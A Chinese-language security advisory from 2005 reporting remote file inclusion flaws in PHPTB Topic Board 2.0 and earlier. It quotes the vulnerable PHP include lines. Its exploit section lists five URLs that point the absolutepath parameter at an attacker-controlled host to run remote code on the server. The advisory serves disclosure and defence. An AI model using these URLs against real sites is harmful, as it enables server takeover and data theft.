PHPTB Topic Board多个远程文件包含漏洞


添加时间:
2005-08-23

系统编号:
WAVDB-00632
BUGTRAQ: 14592

影响版本:
PHPTB  <= 2.0

程序介绍:

PHPTB Topic Board是一款开放源码的论坛程序。

漏洞分析:

PHPTB中存在多个远程文件包含漏洞,可能允许恶意的攻击者在web server上远程执行代码。

有漏洞的代码存在于./classes/board_o.php、./classes/dev_o.php、./classes/file_o.php和./classes/tech_o.php中:

  <?php
    include $absolutepath.'classes/smart_o.php';
   ... EOF

此外./classes/dev_o.php和./classes/tech_o.php中的漏洞代码:

   ...
        require $GLOBALS['absolutepath'].'userpass.php';
   ... EOF


漏洞利用:

http://[victim]/[dir]/classes/admin_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/board_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/dev_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/file_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/tech_o.php?absolutepath=http://[hacker_box]/

解决方案:
厂商补丁:</p><p> PHPTB<br> -----<br> 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:</p><p> http://www.phptb.com/

信息来源:
<*来源:Filip Groszynski (groszynskif@gmail.com)<br> <br> 链接:http://marc.theaimsgroup.com/?l= ... 19802&w=2<br> *>